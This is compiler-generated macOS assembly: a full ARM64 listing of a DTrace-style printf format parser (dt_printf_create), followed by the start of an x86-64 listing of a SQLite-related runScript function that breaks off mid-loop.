.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _dt_printf_create ; -- Begin function dt_printf_create .p2align 2 _dt_printf_create: ; @dt_printf_create .cfi_startproc ; %bb.0: sub sp, sp, #160 stp x28, x27, [sp, #64] ; 16-byte Folded Spill stp x26, x25, [sp, #80] ; 16-byte Folded Spill stp x24, x23, [sp, #96] ; 16-byte Folded Spill stp x22, x21, [sp, #112] ; 16-byte Folded Spill stp x20, x19, [sp, #128] ; 16-byte Folded Spill stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x21, x1 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #56] mov w0, #40 ; =0x28 bl _malloc mov x26, x0 mov x0, x21 bl _strdup cbz x0, LBB0_39 ; %bb.1: mov x24, x0 mov x8, x26 str xzr, [x8, #16]! str x8, [sp, #32] ; 8-byte Folded Spill str x0, [x26] mov x21, x26 str xzr, [x21, #8]! stp x20, xzr, [x26, #24] mov w1, #37 ; =0x25 bl _strchr str x24, [sp, #8] ; 8-byte Folded Spill cbz x0, LBB0_41 ; %bb.2: mov x23, x0 mov x19, #0 ; =0x0 Lloh3: adrp x27, lJTI0_0@PAGE Lloh4: add x27, x27, lJTI0_0@PAGEOFF mov w25, #10 ; =0xa Lloh5: adrp x28, _DT_PFCONV_ZPAD@GOTPAGE Lloh6: ldr x28, [x28, _DT_PFCONV_ZPAD@GOTPAGEOFF] stp x21, x26, [sp, #16] ; 16-byte Folded Spill str x20, [sp, #40] ; 8-byte Folded Spill LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_9 Depth 2 ; Child Loop BB0_16 Depth 3 mov w0, #48 ; =0x30 bl _malloc cbz x0, LBB0_56 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 mov x22, x0 ldr x10, [sp, #32] ; 8-byte Folded Reload ldr x8, [x10] add x9, x19, #32 cmp x8, #0 csel x8, x10, x9, eq str x0, [x8] mov w1, #48 ; =0x30 bl _bzero ldr x8, [x21] add x8, x8, #1 str x8, [x21] subs x8, x23, x24 b.ls LBB0_6 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 stp x8, x24, [x22] LBB0_6: ; in Loop: Header=BB0_3 Depth=1 mov w21, #0 ; =0x0 mov w20, #0 ; =0x0 mov w8, #0 ; =0x0 b LBB0_9 LBB0_7: ; in Loop: Header=BB0_9 Depth=2 add x8, sp, #48 strb w24, [x8, w21, uxtw] add w21, w21, #1 LBB0_8: ; in Loop: Header=BB0_9 Depth=2 mov x23, x26 mov x8, x19 LBB0_9: ; Parent Loop BB0_3 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_16 Depth 3 mov x19, x8 mov x26, x23 ldrb w8, [x26, #1]! sxtb w24, w8 cmp w8, #119 b.hi LBB0_37 ; %bb.10: ; in Loop: Header=BB0_9 Depth=2 adr x9, LBB0_11 ldrb w10, [x27, x8] add x9, x9, x10, lsl #2 br x9 LBB0_11: ; in Loop: Header=BB0_9 Depth=2 cbnz w19, LBB0_15 ; %bb.12: ; in Loop: Header=BB0_9 Depth=2 cbnz w20, LBB0_15 ; %bb.13: ; in Loop: Header=BB0_9 Depth=2 cmp w24, #48 b.ne LBB0_15 ; %bb.14: ; in Loop: Header=BB0_9 Depth=2 mov w20, #0 ; =0x0 mov w8, #0 ; =0x0 ldr w9, [x28] ldr w10, [x22, #16] orr w9, w10, w9 Lloh7: adrp x10, _DT_PFCONV_LEFT@GOTPAGE Lloh8: ldr x10, [x10, _DT_PFCONV_LEFT@GOTPAGEOFF] Lloh9: ldr w10, [x10] bic w9, w9, w10 str w9, [x22, #16] mov x23, x26 b LBB0_9 LBB0_15: ; in Loop: Header=BB0_9 Depth=2 mov x0, x24 bl _isdigit mov w26, #0 ; =0x0 cbz w0, LBB0_17 LBB0_16: ; Parent Loop BB0_3 Depth=1 ; Parent Loop BB0_9 Depth=2 ; => This Inner Loop Header: Depth=3 mul w8, w26, w25 add w8, w8, w24, sxtb sub w26, w8, #48 ldrsb w24, [x23, #2] mov x0, x24 bl _isdigit add x23, x23, #1 cbnz w0, LBB0_16 LBB0_17: ; in Loop: Header=BB0_9 Depth=2 cbz w19, LBB0_20 ; %bb.18: ; in Loop: Header=BB0_9 Depth=2 str w26, [x22, #20] b LBB0_21 LBB0_19: ; in Loop: Header=BB0_9 Depth=2 mov x23, x26 mov x8, x19 cmp w21, #6 b.hi LBB0_9 b LBB0_7 LBB0_20: ; in Loop: Header=BB0_9 Depth=2 str w26, [x22, #24] LBB0_21: ; in Loop: Header=BB0_9 Depth=2 add w20, w20, #1 mov x8, x19 b LBB0_9 LBB0_22: ; in Loop: Header=BB0_9 Depth=2 mov w20, #0 ; =0x0 mov w8, #1 ; =0x1 mov x23, x26 cbz w19, LBB0_9 b LBB0_48 LBB0_23: ; in Loop: Header=BB0_9 Depth=2 Lloh10: adrp x8, _DT_PFCONV_ALT@GOTPAGE Lloh11: ldr x8, [x8, _DT_PFCONV_ALT@GOTPAGEOFF] b LBB0_33 LBB0_24: ; in Loop: Header=BB0_9 Depth=2 Lloh12: adrp x8, _DT_PFCONV_GROUP@GOTPAGE Lloh13: ldr x8, [x8, _DT_PFCONV_GROUP@GOTPAGEOFF] b LBB0_33 LBB0_25: ; in Loop: Header=BB0_9 Depth=2 Lloh14: adrp x8, _DT_PFCONV_SPACE@GOTPAGE Lloh15: ldr x8, [x8, _DT_PFCONV_SPACE@GOTPAGEOFF] b LBB0_33 LBB0_26: ; in Loop: Header=BB0_9 Depth=2 Lloh16: adrp x8, _DT_PFCONV_SPOS@GOTPAGE Lloh17: ldr x8, [x8, _DT_PFCONV_SPOS@GOTPAGEOFF] b LBB0_33 LBB0_27: ; in Loop: Header=BB0_9 Depth=2 cmp w19, #0 Lloh18: adrp x8, _DT_PFCONV_DYNPREC@GOTPAGE Lloh19: ldr x8, [x8, _DT_PFCONV_DYNPREC@GOTPAGEOFF] Lloh20: adrp x9, _DT_PFCONV_DYNWIDTH@GOTPAGE Lloh21: ldr x9, [x9, _DT_PFCONV_DYNWIDTH@GOTPAGEOFF] csel x8, x9, x8, eq ldr w8, [x8] ldr w9, [x22, #16] orr w9, w9, w8 cbnz w9, LBB0_49 ; %bb.28: ; in Loop: Header=BB0_9 Depth=2 str wzr, [x22, #16] b LBB0_8 LBB0_29: ; in Loop: Header=BB0_9 Depth=2 Lloh22: adrp x8, _DT_PFCONV_LEFT@GOTPAGE Lloh23: ldr x8, [x8, _DT_PFCONV_LEFT@GOTPAGEOFF] Lloh24: ldr w8, [x8] ldr w9, [x22, #16] orr w8, w9, w8 ldr w9, [x28] bic w8, w8, w9 b LBB0_34 LBB0_30: ; in Loop: Header=BB0_9 Depth=2 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w8, [x8] Lloh25: adrp x9, _CTF_MODEL_LP64@GOTPAGE Lloh26: ldr x9, [x9, _CTF_MODEL_LP64@GOTPAGEOFF] Lloh27: ldr w9, [x9] cmp w8, w9 b.ne LBB0_35 ; %bb.31: ; in Loop: Header=BB0_9 Depth=2 mov w8, #16 ; =0x10 str w8, [x22, #24] b LBB0_8 LBB0_32: ; in Loop: Header=BB0_9 Depth=2 Lloh28: adrp x8, _DT_PFCONV_AGG@GOTPAGE Lloh29: ldr x8, [x8, _DT_PFCONV_AGG@GOTPAGEOFF] LBB0_33: ; in Loop: Header=BB0_9 Depth=2 ldr w8, [x8] ldr w9, [x22, #16] orr w8, w9, w8 LBB0_34: ; in Loop: Header=BB0_9 Depth=2 str w8, [x22, #16] b LBB0_8 LBB0_35: ; in Loop: Header=BB0_9 Depth=2 mov w8, #8 ; =0x8 str w8, [x22, #24] b LBB0_8 LBB0_36: ; in Loop: Header=BB0_3 Depth=1 ldrb w8, [x23] cmp w8, #37 b.ne LBB0_58 LBB0_37: ; in Loop: Header=BB0_3 Depth=1 add x8, sp, #48 add x8, x8, w21, sxtw strb w24, [x8] strb wzr, [x8, #1] add x1, sp, #48 ldr x20, [sp, #40] ; 8-byte Folded Reload mov x0, x20 bl _dt_pfdict_lookup str x0, [x22, #40] cbz x0, LBB0_57 ; %bb.38: ; in Loop: Header=BB0_3 Depth=1 mov x8, x26 ldrb w9, [x8], #1 cmp w9, #0 csel x24, x26, x8, eq mov x0, x24 mov w1, #37 ; =0x25 bl _strchr mov x23, x0 mov x19, x22 ldp x21, x26, [sp, #16] ; 16-byte Folded Reload cbnz x0, LBB0_3 b LBB0_42 LBB0_39: mov x0, x26 bl _free Lloh30: adrp x8, _EDT_NOMEM@GOTPAGE Lloh31: ldr x8, [x8, _EDT_NOMEM@GOTPAGEOFF] Lloh32: ldr w1, [x8] ldr x8, [sp, #56] Lloh33: adrp x9, ___stack_chk_guard@GOTPAGE Lloh34: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh35: ldr x9, [x9] cmp x9, x8 b.ne LBB0_59 ; %bb.40: mov x0, x20 ldp x29, x30, [sp, #144] ; 16-byte Folded Reload ldp x20, x19, [sp, #128] ; 16-byte Folded Reload ldp x22, x21, [sp, #112] ; 16-byte Folded Reload ldp x24, x23, [sp, #96] ; 16-byte Folded Reload ldp x26, x25, [sp, #80] ; 16-byte Folded Reload ldp x28, x27, [sp, #64] ; 16-byte Folded Reload add sp, sp, #160 b _dt_printf_error LBB0_41: mov x22, #0 ; =0x0 LBB0_42: ldrb w8, [x24] cbz w8, LBB0_47 LBB0_43: mov w0, #48 ; =0x30 bl _malloc cbz x0, LBB0_55 ; %bb.44: ldr x10, [sp, #32] ; 8-byte Folded Reload ldr x8, [x10] add x9, x22, #32 cmp x8, #0 csel x8, x10, x9, eq str x0, [x8] mov x20, x0 mov w1, #48 ; =0x30 bl _bzero ldr x8, [x21] add x8, x8, #1 str x8, [x21] str x24, [x20, #8] mov x0, x24 bl _strlen str x0, [x20] b LBB0_53 LBB0_45: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x1, [x8] Lloh36: adrp x0, l_.str.4@PAGE Lloh37: add x0, x0, l_.str.4@PAGEOFF b LBB0_50 LBB0_46: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x1, [x8] Lloh38: adrp x0, l_.str.6@PAGE Lloh39: add x0, x0, l_.str.6@PAGEOFF b LBB0_50 LBB0_47: ldr x8, [sp, #8] ; 8-byte Folded Reload ldrb w8, [x8] cbnz w8, LBB0_53 b LBB0_43 LBB0_48: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x1, [x8] Lloh40: adrp x0, l_.str.3@PAGE Lloh41: add x0, x0, l_.str.3@PAGEOFF b LBB0_50 LBB0_49: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x1, [x9] Lloh42: adrp x9, l_.str.1@PAGE Lloh43: add x9, x9, l_.str.1@PAGEOFF Lloh44: adrp x10, l_.str.2@PAGE Lloh45: add x10, x10, l_.str.2@PAGEOFF cmp w8, #0 csel x8, x10, x9, eq str x8, [sp] Lloh46: adrp x0, l_.str@PAGE Lloh47: add x0, x0, l_.str@PAGEOFF LBB0_50: bl _yywarn Lloh48: adrp x19, _EDT_COMPILER@GOTPAGE Lloh49: ldr x19, [x19, _EDT_COMPILER@GOTPAGEOFF] ldr x26, [sp, #24] ; 8-byte Folded Reload ldr x20, [sp, #40] ; 8-byte Folded Reload LBB0_51: mov x0, x26 bl _dt_printf_destroy ldr w1, [x19] LBB0_52: mov x0, x20 bl _dt_printf_error mov x26, x0 LBB0_53: ldr x8, [sp, #56] Lloh50: adrp x9, ___stack_chk_guard@GOTPAGE Lloh51: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh52: ldr x9, [x9] cmp x9, x8 b.ne LBB0_59 ; %bb.54: mov x0, x26 ldp x29, x30, [sp, #144] ; 16-byte Folded Reload ldp x20, x19, [sp, #128] ; 16-byte Folded Reload ldp x22, x21, [sp, #112] ; 16-byte Folded Reload ldp x24, x23, [sp, #96] ; 16-byte Folded Reload ldp x26, x25, [sp, #80] ; 16-byte Folded Reload ldp x28, x27, [sp, #64] ; 16-byte Folded Reload add sp, sp, #160 ret LBB0_55: mov x0, x26 bl _dt_printf_destroy Lloh53: adrp x8, _EDT_NOMEM@GOTPAGE Lloh54: ldr x8, [x8, _EDT_NOMEM@GOTPAGEOFF] Lloh55: ldr w1, [x8] b LBB0_52 LBB0_56: Lloh56: adrp x19, _EDT_NOMEM@GOTPAGE Lloh57: ldr x19, [x19, _EDT_NOMEM@GOTPAGEOFF] b LBB0_51 LBB0_57: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x1, [x8] add x8, sp, #48 str x8, [sp] Lloh58: adrp x0, l_.str.7@PAGE Lloh59: add x0, x0, l_.str.7@PAGEOFF bl _yywarn Lloh60: adrp x19, _EDT_COMPILER@GOTPAGE Lloh61: ldr x19, [x19, _EDT_COMPILER@GOTPAGEOFF] ldr x26, [sp, #24] ; 8-byte Folded Reload b LBB0_51 LBB0_58: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x1, [x8] Lloh62: adrp x0, l_.str.5@PAGE Lloh63: add x0, x0, l_.str.5@PAGEOFF b LBB0_50 LBB0_59: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh16, Lloh17 .loh AdrpLdrGot Lloh20, Lloh21 .loh AdrpLdrGot Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh22, Lloh23, Lloh24 .loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27 .loh AdrpLdrGot Lloh28, Lloh29 .loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh35 .loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32 .loh AdrpAdd Lloh36, Lloh37 .loh AdrpAdd Lloh38, Lloh39 .loh AdrpAdd Lloh40, Lloh41 .loh AdrpAdd Lloh46, Lloh47 .loh AdrpAdd Lloh44, Lloh45 .loh AdrpAdd Lloh42, Lloh43 .loh AdrpLdrGot Lloh48, Lloh49 .loh AdrpLdrGotLdr Lloh50, Lloh51, Lloh52 .loh AdrpLdrGotLdr Lloh53, Lloh54, Lloh55 .loh AdrpLdrGot Lloh56, Lloh57 .loh AdrpLdrGot Lloh60, Lloh61 .loh AdrpAdd Lloh58, Lloh59 .loh AdrpAdd Lloh62, Lloh63 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_46-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_25-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_23-LBB0_11)>>2 .byte (LBB0_45-LBB0_11)>>2 .byte (LBB0_36-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_24-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_27-LBB0_11)>>2 .byte (LBB0_26-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_29-LBB0_11)>>2 .byte (LBB0_22-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_11-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_30-LBB0_11)>>2 .byte (LBB0_32-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_19-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_19-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_19-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_37-LBB0_11)>>2 .byte (LBB0_19-LBB0_11)>>2 ; -- End function .comm _EDT_NOMEM,4,2 ; @EDT_NOMEM .comm _DT_PFCONV_ZPAD,4,2 ; @DT_PFCONV_ZPAD .comm _DT_PFCONV_LEFT,4,2 ; @DT_PFCONV_LEFT .comm _DT_PFCONV_ALT,4,2 ; @DT_PFCONV_ALT .comm _DT_PFCONV_DYNPREC,4,2 ; @DT_PFCONV_DYNPREC .comm _DT_PFCONV_DYNWIDTH,4,2 ; @DT_PFCONV_DYNWIDTH .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "format conversion #%u has more than one '*' specified for the output %s\n" l_.str.1: ; @.str.1 .asciz "precision" l_.str.2: ; @.str.2 .asciz "width" .comm _EDT_COMPILER,4,2 ; @EDT_COMPILER .comm _DT_PFCONV_SPOS,4,2 ; @DT_PFCONV_SPOS l_.str.3: ; @.str.3 .asciz "format conversion #%u has more than one '.' specified\n" .comm _CTF_MODEL_LP64,4,2 ; @CTF_MODEL_LP64 .comm _DT_PFCONV_AGG,4,2 ; @DT_PFCONV_AGG .comm _DT_PFCONV_GROUP,4,2 ; @DT_PFCONV_GROUP .comm _DT_PFCONV_SPACE,4,2 ; @DT_PFCONV_SPACE l_.str.4: ; @.str.4 .asciz "format conversion #%u uses unsupported positional format (%%n$)\n" l_.str.5: ; @.str.5 .asciz "format conversion #%u cannot be combined with other format flags: %%%%\n" l_.str.6: ; @.str.6 .asciz "format conversion #%u name expected before end of format string\n" l_.str.7: ; @.str.7 .asciz "format conversion #%u is undefined: %%%s\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function runScript _runScript: ## @runScript .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $1208, %rsp ## imm = 0x4B8 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -1152(%rbp) ## 8-byte Spill movq %rdx, %r12 movl %esi, %r13d movl %edi, -1116(%rbp) ## 4-byte Spill movq %rsp, -1248(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl $1, -1124(%rbp) movq _MX_ARG@GOTPCREL(%rip), %rax movl (%rax), %eax imulq $100, %rax, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r14 leaq -1132(%rbp), %rbx movq %rbx, %rdi xorl %esi, %esi movl $8, %edx callq _memset movq %rbx, %rdi callq _stringReset movzbl (%r12), %r15d testb %r15b, %r15b je LBB0_128 ## %bb.1: movq %r14, -1144(%rbp) ## 8-byte Spill leaq 100(%r14), %rax movq %rax, -1200(%rbp) ## 8-byte Spill leaq 2(%r12), %rax movq %rax, -1232(%rbp) ## 8-byte Spill movq %r12, %rbx xorl %esi, %esi movl $0, -1176(%rbp) ## 4-byte Folded Spill movq %r12, -1112(%rbp) ## 8-byte Spill movl %r13d, -1184(%rbp) ## 4-byte Spill LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_4 Depth 2 ## Child Loop BB0_14 Depth 2 ## Child Loop BB0_15 Depth 3 ## Child Loop BB0_23 Depth 2 ## Child Loop BB0_83 Depth 2 ## Child Loop BB0_76 Depth 2 ## Child Loop BB0_91 Depth 2 ## Child Loop BB0_50 Depth 2 ## Child Loop BB0_59 Depth 2 movl %esi, %r13d jmp LBB0_4 .p2align 4, 0x90 LBB0_3: ## in Loop: Header=BB0_4 Depth=2 addl %r14d, %r13d movslq %r13d, %rax leaq (%r12,%rax), %rbx movzbl (%r12,%rax), %r15d testb %r15b, %r15b je LBB0_125 LBB0_4: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movl %r13d, %r14d movl -1124(%rbp), %eax movl %eax, -1120(%rbp) ## 4-byte Spill movq %rbx, %rdi leaq -1124(%rbp), %rsi callq _tokenLength movl %eax, %r13d movsbl %r15b, %r12d movl %r12d, %edi callq _ISSPACE testq %rax, %rax sete %al cmpb $45, %r12b movq -1112(%rbp), %r12 ## 8-byte Reload sete %cl testb %cl, %al je LBB0_3 ## %bb.5: ## in Loop: Header=BB0_4 Depth=2 cmpb $45, 1(%rbx) jne LBB0_3 ## %bb.6: ## in Loop: Header=BB0_4 Depth=2 movslq %r14d, %r15 movsbl 2(%r12,%r15), %edi callq _isalpha testl %eax, %eax je LBB0_3 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 movl %r14d, %esi movl -1176(%rbp), %eax ## 4-byte Reload subl %eax, %esi jle LBB0_9 ## %bb.8: ## in Loop: Header=BB0_2 Depth=1 movslq %eax, %rdx addq %r12, %rdx leaq L_.str(%rip), %rdi xorl %eax, %eax callq _sqlite3_mprintf movq %rax, %r12 leaq -1132(%rbp), %rdi movq %rax, %rsi callq _evalSql movq %r12, %rdi movq -1112(%rbp), %r12 ## 8-byte Reload callq _sqlite3_free leal (%r14,%r13), %eax movl %eax, -1176(%rbp) ## 4-byte Spill LBB0_9: ## in Loop: Header=BB0_2 Depth=1 movl %r13d, -1092(%rbp) ## 4-byte Spill movq _g@GOTPCREL(%rip), %rax cmpl $2, (%rax) jl LBB0_11 ## %bb.10: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str(%rip), %rdi movl -1092(%rbp), %esi ## 4-byte Reload movq %rbx, %rdx xorl %eax, %eax callq _logMessage LBB0_11: ## in Loop: Header=BB0_2 Depth=1 leaq 2(%rbx), %rdi leal -2(%r13), %esi movl %esi, -1164(%rbp) ## 4-byte Spill movq %rdi, -1224(%rbp) ## 8-byte Spill leaq -80(%rbp), %rdx movl $30, %ecx callq _extractToken movl -1164(%rbp), %edi ## 4-byte Reload movl %eax, %r8d cmpl %edi, %eax setle %cl movq _MX_ARG@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, %eax setg %dl andb %cl, %dl xorl %esi, %esi cmpb $1, %dl movq %r14, -1104(%rbp) ## 8-byte Spill jne LBB0_21 ## %bb.12: ## in Loop: Header=BB0_2 Depth=1 cmpl %edi, %r8d jge LBB0_19 ## %bb.13: ## in Loop: Header=BB0_2 Depth=1 movslq %edi, %rcx movq -1232(%rbp), %rax ## 8-byte Reload leaq (%rax,%r15), %rdx xorl %esi, %esi movq %rcx, -1216(%rbp) ## 8-byte Spill movq %rdx, -1208(%rbp) ## 8-byte Spill LBB0_14: ## Parent Loop BB0_2 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_15 Depth 3 movq %rsi, -1160(%rbp) ## 8-byte Spill movl %r8d, -1180(%rbp) ## 4-byte Spill movslq %r8d, %r12 leaq (%rdx,%r12), %rax movq %rax, -1192(%rbp) ## 8-byte Spill subq %r12, %rcx movq %rcx, -1240(%rbp) ## 8-byte Spill shlq $32, %r12 xorl %r14d, %r14d .p2align 4, 0x90 LBB0_15: ## Parent Loop BB0_2 Depth=1 ## Parent Loop BB0_14 Depth=2 ## => This Inner Loop Header: Depth=3 movq -1192(%rbp), %rax ## 8-byte Reload movsbl (%rax,%r14), %edi callq _ISSPACE testq %rax, %rax je LBB0_17 ## %bb.16: ## in Loop: Header=BB0_15 Depth=3 movabsq $4294967296, %rax ## imm = 0x100000000 addq %rax, %r12 incq %r14 cmpq %r14, -1240(%rbp) ## 8-byte Folded Reload jne LBB0_15 jmp LBB0_20 LBB0_17: ## in Loop: Header=BB0_14 Depth=2 sarq $32, %r12 addq -1224(%rbp), %r12 ## 8-byte Folded Reload movl -1164(%rbp), %esi ## 4-byte Reload subl -1180(%rbp), %esi ## 4-byte Folded Reload subl %r14d, %esi imulq $100, -1160(%rbp), %rdx ## 8-byte Folded Reload addq -1144(%rbp), %rdx ## 8-byte Folded Reload movq %r12, %rdi movl $100, %ecx callq _extractToken movl -1180(%rbp), %r8d ## 4-byte Reload movl -1164(%rbp), %edi ## 4-byte Reload movq -1160(%rbp), %rsi ## 8-byte Reload addl %r14d, %r8d addl %eax, %r8d incq %rsi movq _MX_ARG@GOTPCREL(%rip), %rax movl (%rax), %eax cmpl %edi, %r8d jge LBB0_80 ## %bb.18: ## in Loop: Header=BB0_14 Depth=2 movslq %eax, %rcx cmpq %rcx, %rsi movq -1112(%rbp), %r12 ## 8-byte Reload movq -1216(%rbp), %rcx ## 8-byte Reload movq -1208(%rbp), %rdx ## 8-byte Reload jl LBB0_14 jmp LBB0_21 LBB0_19: ## in Loop: Header=BB0_2 Depth=1 xorl %esi, %esi cmpl %eax, %esi jge LBB0_24 jmp LBB0_22 LBB0_20: ## in Loop: Header=BB0_2 Depth=1 movq _MX_ARG@GOTPCREL(%rip), %rax movl (%rax), %eax movq -1112(%rbp), %r12 ## 8-byte Reload movq -1160(%rbp), %rsi ## 8-byte Reload LBB0_21: ## in Loop: Header=BB0_2 Depth=1 cmpl %eax, %esi jge LBB0_24 LBB0_22: ## in Loop: Header=BB0_2 Depth=1 movl %esi, %ecx imulq $100, %rcx, %rcx addq -1144(%rbp), %rcx ## 8-byte Folded Reload movl %esi, %edx .p2align 4, 0x90 LBB0_23: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 